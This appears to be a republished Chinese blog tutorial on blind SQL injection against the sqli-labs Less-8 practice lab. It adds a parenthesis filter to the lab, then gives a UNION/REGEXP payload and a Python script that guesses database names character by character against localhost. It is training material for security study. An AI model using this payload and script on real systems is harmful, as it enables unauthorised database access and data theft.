0x00 环境搭建
sqli-labs第八关,简单修改下源代码,加入下面一行代码
$id=preg_replace(‘/\(|\)/‘, "",$id); //过滤小括号
0x01 脚本编写
1、构造payload
‘ union select 1,2,3 from information_schema.tables where table_schema regexp binary ‘^%s.*$‘ -- -
2、脚本如下
#coding=utf-8 import urllib url = "http://127.0.0.1/sqli-labs-master/Less-8/?id=1%s"#测试payload payload = "‘ and 1=2 union select 1,2,3 from information_schema.tables where table_schema regexp binary ‘^%s.*$‘-- -" #简单测试字典,这里可以借助string.printable list=‘abcdefghijklmnopqrstuvwxyz‘ #递归暴库 def check(str): for ch in list: payloads=payload % (str+ch) if check1(payloads): print str+ch check(str+ch) #判断正则匹配结果是否正确 def check1(str1): resp=urllib.urlopen(url % str1).read() if "You are in" in resp: return True else: return False if __name__ == "__main__": check("")
脚本执行部分结果
原文地址:https://www.cnblogs.com/peterpan0707007/p/8719667.html
时间: 2024-11-09 03:04:24